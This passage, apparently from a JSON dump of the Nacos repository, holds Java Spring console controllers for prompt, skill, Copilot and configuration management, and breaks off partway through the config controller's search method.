    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/ai/ConsolePromptController.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.controller.v3.ai;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.form.prompt.PromptForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptHistoryForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptLabelBindForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptLabelForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptListForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptMetadataForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptPublishForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptQueryForm;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaSummary;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionSummary;\nimport com.alibaba.nacos.ai.param.PromptHttpParamExtractor;\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.console.proxy.ai.PromptProxy;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport jakarta.servlet.http.HttpServletRequest;\nimport org.springframework.web.bind.annotation.DeleteMapping;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * Console prompt controller.\n *\n * <p>Provides REST APIs for prompt management operations in console.</p>\n *\n * @author nacos\n */\n@NacosApi\n@RestController\n@RequestMapping(Constants.Prompt.CONSOLE_PATH)\n@ExtractorManager.Extractor(httpExtractor = PromptHttpParamExtractor.class)\npublic class ConsolePromptController {\n    \n    private final PromptProxy promptProxy;\n    \n    public ConsolePromptController(PromptProxy promptProxy) {\n        this.promptProxy = promptProxy;\n    }\n    \n    /**\n     * Publish a new version of prompt.\n     *\n     * @param form    the prompt publish form\n     * @param request HTTP request for getting client info\n     * @return result of the publish operation\n     * @throws NacosException if the prompt publish fails\n     */\n    @PostMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<Boolean> publishPrompt(PromptPublishForm form, HttpServletRequest request) throws NacosException {\n        form.validate();\n        String srcUser = request.getRemoteUser();\n        String srcIp = request.getRemoteAddr();\n        boolean success = promptProxy.publishPrompt(form, srcUser, srcIp);\n        return Result.success(success);\n    }\n    \n    @GetMapping(\"/metadata\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<PromptMetaInfo> getPromptMeta(PromptForm form) throws NacosException {\n        form.validate();\n        PromptMetaInfo detail = promptProxy.getPromptMeta(form);\n        return Result.success(detail);\n    }\n    \n    /**\n     * Query prompt detail by label/version/latest with priority label > version > latest.\n     */\n    @GetMapping(\"/detail\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<PromptVersionInfo> queryPromptDetail(PromptQueryForm form) throws NacosException {\n        form.validate();\n        PromptVersionInfo detail = promptProxy.queryPromptDetail(form);\n        return Result.success(detail);\n    }\n    \n    /**\n     * Bind label to a specified prompt version.\n     */\n    @PutMapping(\"/label\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<Boolean> bindLabel(PromptLabelBindForm form, HttpServletRequest request) throws NacosException {\n        form.validate();\n        String srcUser = request.getRemoteUser();\n        String srcIp = request.getRemoteAddr();\n        boolean success = promptProxy.bindLabel(form, srcUser, srcIp);\n        return Result.success(success);\n    }\n    \n    /**\n     * Unbind label from prompt.\n     */\n    @DeleteMapping(\"/label\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<Boolean> unbindLabel(PromptLabelForm form, HttpServletRequest request) throws NacosException {\n        form.validate();\n        String srcUser = request.getRemoteUser();\n        String srcIp = request.getRemoteAddr();\n        boolean success = promptProxy.unbindLabel(form, srcUser, srcIp);\n        return Result.success(success);\n    }\n    \n    /**\n     * Delete prompt.\n     *\n     * @param form    the prompt form\n     * @param request HTTP request for getting client info\n     * @return result of the deletion operation\n     * @throws NacosException if the prompt deletion fails\n     */\n    @DeleteMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<Boolean> deletePrompt(PromptForm form, HttpServletRequest request) throws NacosException {\n        form.validate();\n        String srcUser = request.getRemoteUser();\n        String srcIp = request.getRemoteAddr();\n        boolean success = promptProxy.deletePrompt(form, srcUser, srcIp);\n        return Result.success(success);\n    }\n    \n    /**\n     * List prompts with pagination.\n     *\n     * @param form the prompt list form\n     * @return result of the list operation\n     * @throws NacosException if the prompt list fails\n     */\n    @GetMapping(\"/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<Page<PromptMetaSummary>> listPrompts(PromptListForm form) throws NacosException {\n        form.validate();\n        Page<PromptMetaSummary> result = promptProxy.listPrompts(form);\n        return Result.success(result);\n    }\n    \n    /**\n     * List prompt versions with pagination.\n     *\n     * @param form the prompt history form\n     * @return result of the version list operation\n     * @throws NacosException if the version list fails\n     */\n    @GetMapping(\"/versions\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<Page<PromptVersionSummary>> listPromptVersions(PromptHistoryForm form) throws NacosException {\n        form.validate();\n        Page<PromptVersionSummary> result = promptProxy.listPromptVersions(form);\n        return Result.success(result);\n    }\n    \n    /**\n     * Update prompt metadata (description only).\n     *\n     * @param form    the prompt metadata form\n     * @param request HTTP request for getting client info\n     * @return result of the update operation\n     * @throws NacosException if the update fails\n     */\n    @PutMapping(\"/metadata\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<Boolean> updatePromptMetadata(PromptMetadataForm form, HttpServletRequest request)\n            throws NacosException {\n        form.validate();\n        String srcUser = request.getRemoteUser();\n        String srcIp = request.getRemoteAddr();\n        boolean success = promptProxy.updatePromptMetadata(form, srcUser, srcIp);\n        return Result.success(success);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/ai/ConsoleSkillController.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.controller.v3.ai;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillDetailForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillListForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillUpdateForm;\nimport com.alibaba.nacos.ai.param.SkillHttpParamExtractor;\nimport com.alibaba.nacos.ai.utils.SkillRequestUtil;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.console.proxy.ai.SkillProxy;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.ai.model.skills.SkillBasicInfo;\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.web.bind.annotation.DeleteMapping;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.multipart.MultipartFile;\nimport jakarta.servlet.http.HttpServletRequest;\n\n/**\n * Console skill controller.\n *\n * @author nacos\n */\n@NacosApi\n@RestController\n@RequestMapping(Constants.Skills.CONSOLE_PATH)\n@ExtractorManager.Extractor(httpExtractor = SkillHttpParamExtractor.class)\npublic class ConsoleSkillController {\n    \n    private final SkillProxy skillProxy;\n    \n    public ConsoleSkillController(SkillProxy skillProxy) {\n        this.skillProxy = skillProxy;\n    }\n    \n    /**\n     * Register skill.\n     *\n     * @param form the skill detail form to register\n     * @return result of the registration operation\n     * @throws NacosException if the skill registration fails\n     */\n    @PostMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<String> registerSkill(SkillDetailForm form) throws NacosException {\n        form.validate();\n        Skill skill = SkillRequestUtil.parseSkill(form);\n        skillProxy.registerSkill(skill, form);\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * Get skill.\n     *\n     * @param form the skill form to get\n     * @return result of the get operation\n     * @throws NacosException if the skill get fails\n     */\n    @GetMapping\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<Skill> getSkill(SkillForm form) throws NacosException {\n        form.validate();\n        return Result.success(skillProxy.getSkill(form));\n    }\n    \n    /**\n     * Update skill.\n     *\n     * @param form the skill update form to update\n     * @return result of the update operation\n     * @throws NacosException if the skill update fails\n     */\n    @PutMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<String> updateSkill(SkillUpdateForm form) throws NacosException {\n        form.validate();\n        Skill skill = SkillRequestUtil.parseSkill(form);\n        skillProxy.updateSkill(skill, form);\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * Delete skill.\n     *\n     * @param form the skill form to delete\n     * @return result of the deletion operation\n     * @throws NacosException if the skill deletion fails\n     */\n    @DeleteMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<String> deleteSkill(SkillForm form) throws NacosException {\n        form.validate();\n        skillProxy.deleteSkill(form);\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * List skills.\n     *\n     * @param skillListForm the skill list form to list\n     * @param pageForm the page form to list\n     * @return result of the list operation\n     * @throws NacosException if the skill list fails\n     */\n    @GetMapping(\"/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    public Result<Page<SkillBasicInfo>> listSkills(SkillListForm skillListForm, PageForm pageForm)\n            throws NacosException {\n        skillListForm.validate();\n        pageForm.validate();\n        return Result.success(skillProxy.listSkills(skillListForm, pageForm));\n    }\n    \n    /**\n     * Upload skill from zip file.\n     *\n     * @param request HTTP servlet request\n     * @param namespaceId namespace ID\n     * @param file zip file containing skill\n     * @return result of the upload operation\n     * @throws NacosException if the upload fails\n     */\n    @PostMapping(value = \"/upload\", consumes = \"multipart/form-data\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.CONSOLE_API)\n    @ExtractorManager.Extractor(httpExtractor = ExtractorManager.DefaultHttpExtractor.class)\n    public Result<String> uploadSkill(HttpServletRequest request,\n            @RequestParam(value = \"namespaceId\", required = false) String namespaceId,\n            @RequestParam(\"file\") MultipartFile file) throws NacosException {\n        namespaceId = NamespaceUtil.processNamespaceParameter(namespaceId);\n        byte[] zipBytes = SkillRequestUtil.validateAndExtractZipBytes(file);\n        String skillName = skillProxy.uploadSkillFromZip(namespaceId, zipBytes);\n        return Result.success(skillName);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/ai/CopilotHttpParamExtractor.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.controller.v3.ai;\n\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.paramcheck.ParamInfo;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.paramcheck.AbstractHttpParamExtractor;\nimport jakarta.servlet.http.HttpServletRequest;\n\nimport java.io.BufferedReader;\nimport java.util.Collections;\nimport java.util.List;\n\n/**\n * Copilot HTTP parameter extractor.\n *\n * @author nacos\n */\npublic class CopilotHttpParamExtractor extends AbstractHttpParamExtractor {\n    \n    private static final String HTTP_METHOD_POST = \"POST\";\n    \n    private static final String SKILL_JSON_KEY = \"\\\"skill\\\"\";\n    \n    @Override\n    public List<ParamInfo> extractParam(HttpServletRequest request) throws NacosException {\n        ParamInfo paramInfo = new ParamInfo();\n        \n        // Try to extract skill name from request body for optimization requests\n        if (HTTP_METHOD_POST.equalsIgnoreCase(request.getMethod())) {\n            try {\n                StringBuilder body = new StringBuilder();\n                try (BufferedReader reader = request.getReader()) {\n                    String line;\n                    while ((line = reader.readLine()) != null) {\n                        body.append(line);\n                    }\n                }\n                \n                if (body.length() > 0) {\n                    // Parse JSON body to extract skill name\n                    String bodyStr = body.toString();\n                    if (bodyStr.contains(SKILL_JSON_KEY)) {\n                        // Extract skill from request body\n                        try {\n                            java.util.Map<String, Object> bodyMap = JacksonUtils.toObj(bodyStr, java.util.Map.class);\n                            java.util.Map<String, Object> skillMap = (java.util.Map<String, Object>) bodyMap.get(\"skill\");\n                            if (skillMap != null) {\n                                Skill skill = JacksonUtils.toObj(JacksonUtils.toJson(skillMap), Skill.class);\n                                if (skill != null && StringUtils.isNotBlank(skill.getName())) {\n                                    paramInfo.setAgentName(skill.getName());\n                                    paramInfo.setNamespaceId(skill.getNamespaceId());\n                                }\n                            }\n                        } catch (Exception e) {\n                            // Ignore parsing errors\n                        }\n                    }\n                }\n            } catch (Exception e) {\n                // Ignore errors\n            }\n        }\n        \n        // Fallback to query parameters\n        if (StringUtils.isBlank(paramInfo.getAgentName())) {\n            paramInfo.setAgentName(request.getParameter(\"skillName\"));\n        }\n        if (StringUtils.isBlank(paramInfo.getNamespaceId())) {\n            paramInfo.setNamespaceId(request.getParameter(\"namespaceId\"));\n        }\n        \n        return Collections.singletonList(paramInfo);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/ai/CopilotSseExceptionHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.controller.v3.ai;\n\nimport com.alibaba.nacos.copilot.model.SkillOptimizationResponse;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.core.annotation.Order;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.ControllerAdvice;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.servlet.mvc.method.annotation.SseEmitter;\n\nimport jakarta.servlet.http.HttpServletRequest;\nimport java.io.IOException;\n\n/**\n * Exception handler for Copilot SSE endpoints.\n * This handler has higher priority than NacosApiExceptionHandler to ensure\n * all exceptions are returned as SSE events.\n *\n * @author nacos\n */\n@Order(-2)\n@ControllerAdvice(basePackages = \"com.alibaba.nacos.console.controller.v3.ai\")\npublic class CopilotSseExceptionHandler {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(CopilotSseExceptionHandler.class);\n    \n    /**\n     * Handle all exceptions for SSE endpoints.\n     * This ensures exceptions are returned as SSE events instead of Result objects.\n     * Only handles SSE endpoints (requests that accept text/event-stream or have SSE path).\n     *\n     * @param e exception\n     * @param request HTTP request\n     * @return SSE emitter with error event, or rethrow exception for non-SSE requests\n     */\n    @ExceptionHandler(Exception.class)\n    @ResponseBody\n    public Object handleException(Exception e, HttpServletRequest request) {\n        // Only handle SSE requests - check Accept header or request path\n        String acceptHeader = request.getHeader(\"Accept\");\n        String requestPath = request.getRequestURI();\n        \n        // Check if this is an SSE endpoint (optimize or generate endpoint) or accepts SSE\n        boolean isSseRequest = (acceptHeader != null && acceptHeader.contains(MediaType.TEXT_EVENT_STREAM_VALUE))\n                || (requestPath != null && (requestPath.contains(\"/skill/optimize\") || requestPath.contains(\"/skill/generate\")));\n        \n        if (!isSseRequest) {\n            // Not an SSE request, rethrow to let other exception handlers process it\n            if (e instanceof RuntimeException) {\n                throw (RuntimeException) e;\n            } else {\n                throw new RuntimeException(e);\n            }\n        }\n        \n        LOGGER.error(\"Exception in Copilot SSE endpoint\", e);\n        SseEmitter emitter = new SseEmitter(1000L);\n        try {\n            SkillOptimizationResponse errorResponse = new SkillOptimizationResponse();\n            errorResponse.setDone(true);\n            String errorMsg = e.getMessage();\n            if (errorMsg == null || errorMsg.isEmpty()) {\n                errorMsg = e.getClass().getSimpleName();\n            }\n            errorResponse.setExplanation(\"请求处理失败：\" + errorMsg);\n            emitter.send(SseEmitter.event()\n                    .data(JacksonUtils.toJson(errorResponse))\n                    .name(\"error\"));\n            emitter.complete();\n        } catch (IOException ioException) {\n            LOGGER.error(\"Failed to send exception SSE event\", ioException);\n            emitter.complete();\n        }\n        return emitter;\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/controller/v3/config/ConsoleConfigController.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.controller.v3.config;\n\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.config.ConfigType;\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigDetailInfo;\nimport com.alibaba.nacos.api.config.model.ConfigGrayInfo;\nimport com.alibaba.nacos.api.config.model.ConfigListenerInfo;\nimport com.alibaba.nacos.api.config.model.SameConfigPolicy;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.constant.ParametersField;\nimport com.alibaba.nacos.config.server.controller.parameters.SameNamespaceCloneConfigBean;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigFormV3;\nimport com.alibaba.nacos.config.server.paramcheck.ConfigBlurSearchHttpParamExtractor;\nimport com.alibaba.nacos.config.server.paramcheck.ConfigDefaultHttpParamExtractor;\nimport com.alibaba.nacos.config.server.utils.ParamUtils;\nimport com.alibaba.nacos.config.server.utils.RequestUtil;\nimport com.alibaba.nacos.console.proxy.config.ConfigProxy;\nimport com.alibaba.nacos.core.model.form.AggregationForm;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport jakarta.servlet.ServletException;\nimport jakarta.servlet.http.HttpServletRequest;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.DeleteMapping;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.IOException;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.config.server.utils.RequestUtil.getRemoteIp;\n\n/**\n * Controller for handling HTTP requests related to configuration operations.\n *\n * @author zhangyukun\n */\n@NacosApi\n@RestController\n@RequestMapping(\"/v3/console/cs/config\")\n@ExtractorManager.Extractor(httpExtractor = ConfigDefaultHttpParamExtractor.class)\npublic class ConsoleConfigController {\n    \n    private final ConfigProxy configProxy;\n    \n    public ConsoleConfigController(ConfigProxy configProxy) {\n        this.configProxy = configProxy;\n    }\n    \n    /**\n     * Get the specific configuration information.\n     *\n     * @param configForm config form\n     * @return Result containing detailed configuration information.\n     * @throws NacosException If a Nacos-specific error occurs.\n     */\n    @GetMapping\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    public Result<ConfigDetailInfo> getConfigDetail(ConfigFormV3 configForm) throws NacosException {\n        configForm.validate();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        return Result.success(configProxy.getConfigDetail(dataId, groupName, namespaceId));\n    }\n    \n    /**\n     * Add or update configuration.\n     *\n     * @param request    HTTP servlet request.\n     * @param configForm Configuration form.\n     * @return Result containing success status.\n     * @throws NacosException If a Nacos-specific error occurs.\n     */\n    @PostMapping()\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    public Result<Boolean> publishConfig(HttpServletRequest request, ConfigFormV3 configForm) throws NacosException {\n        // check required field\n        configForm.validateWithContent();\n        final boolean namespaceTransferred = NamespaceUtil.isNeedTransferNamespace(configForm.getNamespaceId());\n        configForm.setNamespaceId(NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId()));\n        \n        // check param\n        ParamUtils.checkParam(configForm.getDataId(), configForm.getGroup(), \"datumId\", configForm.getContent());\n        ParamUtils.checkParamV2(configForm.getTag());\n        \n        if (StringUtils.isBlank(configForm.getSrcUser())) {\n            configForm.setSrcUser(RequestUtil.getSrcUserName(request));\n        }\n        if (!ConfigType.isValidType(configForm.getType())) {\n            configForm.setType(ConfigType.getDefaultType().getType());\n        }\n        \n        ConfigRequestInfo configRequestInfo = new ConfigRequestInfo();\n        configRequestInfo.setSrcIp(RequestUtil.getRemoteIp(request));\n        configRequestInfo.setRequestIpApp(RequestUtil.getAppName(request));\n        configRequestInfo.setBetaIps(request.getHeader(\"betaIps\"));\n        configRequestInfo.setCasMd5(request.getHeader(\"casMd5\"));\n        configRequestInfo.setNamespaceTransferred(namespaceTransferred);\n        \n        return Result.success(configProxy.publishConfig(configForm, configRequestInfo));\n    }\n    \n    /**\n     * Delete configuration.\n     *\n     * @param request     HTTP servlet request.\n     * @param configForm  Config form.\n     * @return Result containing success status.\n     * @throws NacosException If a Nacos-specific error occurs.\n     */\n    @DeleteMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    public Result<Boolean> deleteConfig(HttpServletRequest request, ConfigFormV3 configForm) throws NacosException {\n        configForm.validate();\n        //fix issue #9783\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        ParamUtils.checkParamV2(configForm.getTag());\n        \n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        String tag = configForm.getTag();\n        String clientIp = RequestUtil.getRemoteIp(request);\n        String srcUser = RequestUtil.getSrcUserName(request);\n        \n        return Result.success(configProxy.deleteConfig(dataId, groupName, namespaceId, tag, clientIp, srcUser));\n    }\n    \n    /**\n     * Batch delete configurations.\n     *\n     * @param request HTTP servlet request.\n     * @param ids     List of config IDs.\n     * @return Result containing success status.\n     * @throws NacosException If a Nacos-specific error occurs.\n     */\n    @DeleteMapping(\"/batchDelete\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    public Result<Boolean> batchDeleteConfigs(HttpServletRequest request, @RequestParam(value = \"ids\") List<Long> ids)\n            throws NacosException {\n        String clientIp = RequestUtil.getRemoteIp(request);\n        String srcUser = RequestUtil.getSrcUserName(request);\n        \n        return Result.success(configProxy.batchDeleteConfigs(ids, clientIp, srcUser));\n    }\n    \n    /**\n     * Get configure information list.\n     *\n     * @param configForm config form\n     * @param pageForm   page form\n     * @return Result containing the configuration information.\n     * @throws ServletException If a servlet-specific error occurs.\n     * @throws IOException      If an I/O error occurs.\n     * @throws NacosException   If a Nacos-specific error occurs.\n     */\n    @GetMapping(\"/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    @ExtractorManager.Extractor(httpExtractor = ConfigBlurSearchHttpParamExtractor.class)\n    public Result<Page<ConfigBasicInfo>> getConfigList(ConfigFormV3 configForm, PageForm pageForm)\n            throws IOException, ServletException, NacosException {\n        configForm.blurSearchValidate();\n        pageForm.validate();\n        Map<String, Object> configAdvanceInfo = new HashMap<>(100);\n        if (StringUtils.isNotBlank(configForm.getAppName())) {\n            configAdvanceInfo.put(\"appName\", configForm.getAppName());\n        }\n        if (StringUtils.isNotBlank(configForm.getConfigTags())) {\n            configAdvanceInfo.put(\"config_tags\", configForm.getConfigTags());\n        }\n        if (StringUtils.isNotBlank(configForm.getType())) {\n            configAdvanceInfo.put(ParametersField.TYPES, configForm.getType());\n        }\n        int pageNo = pageForm.getPageNo();\n        int pageSize = pageForm.getPageSize();\n        String namespaceId = NamespaceUtil.processNamespaceParameter(configForm.getNamespaceId());\n        String dataId = configForm.getDataId();\n        String groupName = configForm.getGroupName();\n        \n        return Result.success(\n                configProxy.getConfigList(pageNo, pageSize, dataId, groupName, namespaceId, configAdvanceInfo));\n    }\n    \n    /**\n     * Search config list by config detail.\n     *\n     * @param configForm   config form\n     * @param pageForm     page form\n     * @param configDetail Configuration detail string value.\n     * @param search       Search type.\n     * @return Result containing the configuration list by content.\n     * @throws NacosException If a Nacos-specific error occurs.\n     */\n    @GetMapping(\"/searchDetail\")\n    @Secured(action = ActionTypes.READ, signType = SignType.CONFIG, apiType = ApiType.CONSOLE_API)\n    @ExtractorManager.Extractor(httpExtractor = ConfigBlurSearchHttpParamExtractor.class)\n    public Result<Page<ConfigBasicInfo>> getConfigListByContent(ConfigFormV3 configForm, PageForm pageForm,\n            String configDetail, @RequestParam(defaultValue = \"blur\") String search) throws NacosException {\n        configForm.blurSearchValidate();\n        pageForm.validate();\n        Map<String, Object> configAdvanceInfo = new HashMap<>(100);\n        if (StringUtils.isNotBlank(configForm.getAppName())) {\n            configAdvanceInfo.put(\"appName\", configForm.getAppName());\n        }\n        if (StringUtils.isNotBlank(configForm.getConfigTags())) {\n            configAdvanceInfo.put(\"config_tags\", configForm.getConfigTags());\n        }\n        if (StringUtils.isNotBlank(configForm.getType())) {\n            configAdvanceInfo.put(ParametersField.TYPES, configForm.getType());\n        }\n        if (StringUtils.isNotBlank(configDetail)) {\n            